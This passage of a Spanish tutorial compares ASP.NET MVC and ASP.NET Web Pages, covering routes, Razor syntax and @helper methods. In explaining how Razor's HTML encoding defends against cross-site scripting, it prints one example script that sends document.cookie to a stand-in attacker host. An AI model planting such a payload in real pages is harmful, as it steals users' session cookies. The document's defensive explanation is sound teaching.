routes.MapRoute(</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: #a31515">&quot;Default&quot;</span>, <span style="color: green">// Route name</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: #a31515">&quot;{controller}/{action}/{id}&quot;</span>, <span style="color: green">// URL with parameters</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">new</span> { controller = <span style="color: #a31515">&quot;Home&quot;</span>, action = <span style="color: #a31515">&quot;Index&quot;</span>, id = <span style="color: #2b91af">UrlParameter</span>.Optional } <span style="color: green">// Parameter defaults</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">El enrutamiento predeterminado de cualquier aplicación ASP.NET MVC expone URLs del tipo </font><a href="https://website/%7bcontrolador%7d/%7bvista%7d/%7bparametros%7d"><font face="Calibri">https://website/{controlador}/{vista}/{parametros}</font></a><font face="Calibri">. Por ejemplo, un controlador <i>Search</i> que realiza búsquedas en un catalogo de productos con una única vista <i>Results</i> a la que se pasa por parámetro la cadena de búsqueda por defecto estaría expuesta en la URL </font><a href="https://website/search/results/star+wars"><font face="Calibri">https://website/search/results/star+wars</font></a><font face="Calibri">. Podría tener más sentido eliminar el nombre de la vista para conseguir una URL más simple, de forma que se accediera mediante </font><a href="https://website/search/star+wars"><font face="Calibri">https://website/search/star+wars</font></a><font face="Calibri">. Conseguir esto únicamente requiere registrar una nueva ruta en el método <i>RegisterRoutes</i>:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">routes.MapRoute(</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: #a31515">&quot;Search&quot;</span>, <span style="color: green">// Route name</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: #a31515">&quot;Search/{id}&quot;</span>, <span style="color: green">// URL with parameters</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">new</span> { controller = <span style="color: #a31515">&quot;Search&quot;</span>, action = <span style="color: #a31515">&quot;Results&quot;</span>} <span style="color: green">// Parameter defaults</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">);</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">3 – Mayor control sobre el HTML de la aplicación.&#160; </font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En ASP.NET MVC desaparecen los controles de servidor basados el modelo de post-back de Web Forms dado que ahora cada interacción del usuario debe ir enrutada a un controlador y a una acción específicos. En la práctica esto implica que desaparecen la mayoría de controles de servidor que generan HTML, por lo que ahora es tarea de los desarrolladores escribir todo ese HTML. Esto supone varias ventajas importantes, una de ellas es que el HTML que producen las aplicaciones MVC es completamente predecible, los elementos HTML no tienen identificadores generados dinámicamente del tipo “<i>ctl00_ControlPadre_ControlHijo_...</i>” y por consecuencia es significativamente más sencilla la programación de código JavaScript de cliente contra el HTML generado. Otras ventajas son el control total a la hora de producir HTML validable, HTML compatible con distintos estándares de accesibilidad web, etc. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">4 – Plataforma completamente extensible </font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET MVC ha sido diseñada para ser completamente extensible, lo que implica que cualquier elemento lógico del flujo de procesamiento de una petición MVC, puede ser extendido o completamente sustituido por una implementación propia. Para ello, ASP.NET MVC introduce una serie de puntos de extensión en los que es posible inyectar código personalizado que modifique el comportamiento predeterminado. Estos puntos de extensión se encuentran por ejemplo en la lógica de enrutamiento, en la creación de los controladores, en la ejecución de las acciones del controlador, en la selección de las vistas o los “view engines”, etc.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">5 – Modelo de programación que promueve una mejor arquitectura de las aplicaciones. </font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Las características inherentes del modelo de programación ASP.NET MVC promueven una mejor arquitectura de las aplicaciones, con una separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos. Esta separación lógica también contribuye desarrollar un código más reutilizable debido al mayor desacoplamiento entre los distintos componentes. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"></span></p>    <h1><a name="_Parte_3_-"></a><font face="Calibri">Parte 3 - ASP.NET Web Pages</font></h1>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Transcurrido poco más de un año desde el lanzamiento de la primera versión de ASP.NET MVC, en Julio de 2010 se anunció la disponibilidad pública de una nueva sintaxis para páginas ASP.NET llamada “Razor” y un nuevo tipo de páginas ASP.NET que hacen uso de dicha sintaxis, las denominadas ASP.NET Web Pages. Prácticamente de forma simultanea al lanzamiento de Razor, se hizo pública la disponibilidad de Microsoft WebMatrix. WebMatrix es una herramienta de desarrollo web gratuita que incluye todo lo necesario para desarrollar aplicaciones ASP.NET, ASP o incluso PHP. WebMatrix proporciona un entorno de desarrollo web autónomo, que integra también el servidor web de desarrollo (IIS Express), la base de datos (SQL Server Compact Edition), y las herramientas para desplegar las aplicaciones en entornos de producción (Web Deploy).&#160; </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La sintaxis Razor fue diseñada con los objetivos de ser fácil de aprender, minimizar el número de caracteres necesarios para la sintaxis consiguiendo un código compacto y fluido, utilizar los lenguajes .NET existentes, ser compatible con cualquier editor de texto y ser “testeable” mediante pruebas unitarias. En esencia, Razor permite introducir fragmentos de código Visual Basic .NET o C# directamente en el código HTML, por lo que convenientemente la extensión de las páginas Razor es *.cshtml o *.vbhtml. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Con Razor todo el código de una página se encuentra en un único fichero, que se ejecuta de principio a fin. El ciclo de vida de ejecución de una página se ha simplificado significativamente respecto a Web Forms o MVC. El comienzo de un bloque de código de servidor en Razor se indica con el carácter ‘@’, y a diferencia de la sintaxis equivalente en las páginas *.aspx, ‘&lt;% … %&gt;’, no se indica explícitamente el cierre del bloque. El compilador utiliza su conocimiento de los lenguajes .NET para determinar donde terminan los bloques de código de servidor, y donde comienza el HTML.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">ASPX</font></span></b></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; Bienvenido <span style="background: yellow">&lt;%</span><span style="color: blue">=</span> Usuario.Nombre <span style="background: yellow">%&gt;</span>, hoy es <span style="background: yellow">&lt;%</span><span style="color: blue">=</span> <span style="color: #2b91af">DateTime</span>.Now.Date.ToShortDateString() <span style="background: yellow">%&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">Razor</font></span></b></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; Bienvenido <span style="background: yellow">@</span><span style="background: #dbe5f1">Usuario.Nombre</span>, hoy es <span style="background: yellow">@</span><span style="background: #dbe5f1; color: #2b91af">DateTime</span><span style="background: #dbe5f1">.Now.Date.ToShortDateString()</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">div</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Aunque Razor está optimizado para entrelazar código .NET y código HTML de una forma fluida, en esencia no se diferencia mucho de la sintaxis VB.NET o C# a la que ya estamos acostumbrados. Es fácil habituarse a la nueva sintaxis a la hora de crear sentencias y bloques de código más complejos, como por ejemplo bloques multilínea, bloques <i>if</i> o bloques <i>foreach</i>:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;!</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">DOCTYPE</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: red">html</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: yellow">@</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: #dbe5f1; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: #dbe5f1"> System.Collections</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: yellow">@{</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1; color: #2b91af">Hashtable</span><span style="background: #dbe5f1"> models = <span style="color: blue">new</span> <span style="color: #2b91af">Hashtable</span>();</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">models.Add(<span style="color: #a31515">&quot;ASP.NET Web Forms&quot;</span>, <span style="color: #a31515">&quot;<a href="https://www.asp.net/web-forms">https://www.asp.net/web-forms</a>&quot;</span>);</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span lang="SV" style="font-size: 10pt; font-family: consolas; background: #dbe5f1">models.Add(<span style="color: #a31515">&quot;ASP.NET MVC&quot;</span>, <span style="color: #a31515">&quot;<a href="https://www.asp.net/mvc">https://www.asp.net/mvc</a>&quot;</span>);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; background: #dbe5f1">models.Add(<span style="color: #a31515">&quot;ASP.NET Web Pages&quot;</span>, <span style="color: #a31515">&quot;<a href="https://www.asp.net/web-pages">https://www.asp.net/web-pages</a>&quot;</span>);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas; background: yellow">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="SV" style="font-size: 10pt; font-family: consolas; color: maroon">html</span><span lang="SV" style="font-size: 10pt; font-family: consolas"> <span style="color: red">lang</span><span style="color: blue">=&quot;en&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">head</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">meta</span> <span style="color: red">charset</span><span style="color: blue">=&quot;utf-8&quot;</span> <span style="color: blue">/&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="SV" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span style="font-size: 10pt; font-family: consolas; color: maroon">title</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">title</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">head</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">body</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">h1</span><span style="color: blue">&gt;</span>Modelos de programación en de ASP.NET:<span style="color: blue">&lt;/</span><span style="color: maroon">h1</span><span style="color: blue">&gt;</span>&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">ul</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: yellow">@</span><span style="background: #dbe5f1; color: blue">foreach</span><span style="background: #dbe5f1"> (<span style="color: #2b91af">DictionaryEntry</span> entry <span style="color: blue">in</span> models)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">li</span><span style="color: blue">&gt;&lt;</span><span style="color: maroon">a</span> <span style="color: red">href</span><span style="color: blue">=&quot;</span><span style="background: yellow">@</span><span style="background: #dbe5f1; color: blue">entry.Value</span><span style="color: blue">&quot;&gt;</span><span style="background: yellow">@</span><span style="background: #dbe5f1">entry.Key</span><span style="color: blue">&lt;/</span><span style="color: maroon">a</span><span style="color: blue">&gt;&lt;/</span><span style="color: maroon">li</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1">}</span> </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">ul</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: yellow">@</span><span style="background: #dbe5f1; color: blue">if</span><span style="background: #dbe5f1"> (models.Count &lt; 3)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">p</span><span style="color: blue">&gt;</span>The list above is obsolete<span style="color: blue">&lt;/</span><span style="color: maroon">p</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1">}</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1; color: blue">else</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">p</span><span style="color: blue">&gt;</span>The list above is up to date<span style="color: blue">&lt;/</span><span style="color: maroon">p</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 9.5pt; font-family: consolas; background: #dbe5f1">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">&lt;/</span><span style="color: maroon">body</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">html</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">El siguiente post proporciona una guía más exhaustiva de la sintaxis Razor comparándola con la sintaxis equivalente ASPX: </font><a href="https://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx"><font face="Calibri">https://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx</font></a><font face="Calibri">.</font></span></p>    <h2><font face="Calibri">Cinco razones por las que ASP.NET Web Pages puede ser la mejor opción para ti</font></h2>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">1 – Modelo de programación simple y rápido de aprender basado en páginas individuales</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET Web pages puede ser una buena opción para el que esté empezando a desarrollar aplicaciones con ASP.NET o quiera desarrollar una aplicación web sencilla en poco tiempo. Conceptualmente, el modelo de ejecución es similar a ASP clásico o PHP, en cuanto a que las aplicaciones se ejecutan secuencialmente de principio a fin, sin la complejidad de la jerarquía de eventos de Web Forms (Page_Load, Page_Render, etc.) pero disponiendo de toda la funcionalidad de ASP.NET.&#160; </font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">2 – Codificación HTML para prevenir ataques de cross-site scripting </font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En Razor, el contenido emitido por los bloques de código de servidor ‘@’ están codificados (HTML encoded) para proteger contra ataques de cross-site scripting. Estos ataques, expuesto de manera enormemente simplificada, se basan en que un usuario malicioso consiga inyectar código HTML o script y posteriormente otros usuarios ejecuten ese código cuando acceden a la página como si fuera HTML/Script legítimo de la aplicación. El código se puede inyectar por ejemplo desde un campo de un formulario o mediante un parámetro por <i>querystring</i>, donde la aplicación espera que el usuario introduzca algún tipo de dato o parametrización. Un ejemplo típico es introducir un fragmento de código JavaScript oculto en un post de un foro o un comentario de un blog, de forma que ese script posteriormente se ejecute para todos los usuarios que accedan a dicho foro o dicho blog. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Sin codificación HTML, el usuario malicioso podría inyectar el siguiente fragmento de script en su post y el servidor posteriormente lo incluiría como parte del HTML de la página de forma que los navegadores lo interpretarían como una etiqueta válida de script que se ejecutaría sin intervención del usuario:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p style="vertical-align: baseline; background: #f2f2f2; margin: 0cm 0cm 0pt"><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">script</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: black"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">type</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=&quot;text/javascript&quot;&gt;</span></p>    <p style="vertical-align: baseline; background: #f2f2f2; margin: 0cm 0cm 0pt"><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: black">&#160;&#160;&#160; document.location=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">'https://hacker.org/evil.asp?cookie='</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: black"> + document.cookie;</span></p>    <p style="vertical-align: baseline; background: #f2f2f2; margin: 0cm 0cm 0pt"><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">script</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La codificación HTML convertiría el anterior fragmento de texto en la siguiente cadena, que el navegador web interpretaría como texto literal y no como una etiqueta HTML/Script válida, y que por tanto haría inofensivo el ataque:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">&amp;lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">script type=<span style="color: red">&amp;#39;</span>text/javascript<span style="color: red">&amp;#39;&amp;gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">document.location=<span style="color: red">&amp;#39;</span>https://hacker.org/evil.asp?cookie=<span style="color: red">&amp;#39;</span> + document.cookie;</span></p>    <p class="MsoNormal" style="background: #f2f2f2"><span style="font-size: 10pt; font-family: consolas; color: red">&amp;lt;</span><span style="font-size: 10pt; font-family: consolas">/script<span style="color: red">&amp;gt;</span></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Cualquier modelo de programación de ASP.NET soporta la codificación HTML y protege contra los ataques de cross-site scripting, pero en ASP.NET Web Pages se ha hecho de forma completamente integrada en el lenguaje y por tanto más sencillo. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">3 – Código mejor estructurado y reutilizable con la sintaxis @helper</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La sintáxis @helper permite crear métodos “helper” que encapsulen lógica de generación de HTML, proporcionando una mayor reutilización de código y facilitando también la lectura de dicho código. </font></span></p>    <p class="MsoNormal" style="text-autospace: "><span style="font-size: 9.5pt; font-family: consolas; color: blue">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; background: yellow">@helper </span><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas; background: #dbe5f1">CalculateDiscountPercent(<span style="color: #2b91af">Decimal</span> price, <span style="color: #2b91af">Decimal</span> discount)</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1; color: blue">if</span><span style="background: #dbe5f1"> (discount &gt; 0)</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="background: #dbe5f1; color: blue">decimal</span><span style="background: #dbe5f1"> discountPercent = <span style="color: #2b91af">Math</span>.Round(((discount / price) * 100M), 1);</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">span</span><span style="color: blue">&gt;</span><span style="background: yellow">@</span><span style="background: #dbe5f1">discountPercent</span> %<span style="color: blue">&lt;/</span><span style="color: maroon">span</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">}</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1; color: blue">else</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160; <span style="background: #dbe5f1">{</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 9.5pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">&lt;</span><span style="color: maroon">span</span><span style="color: blue">&gt;</span>This product is not discounted!<span style="color: blue">&lt;/</span><span style="color: maroon">span</span><span style="color: 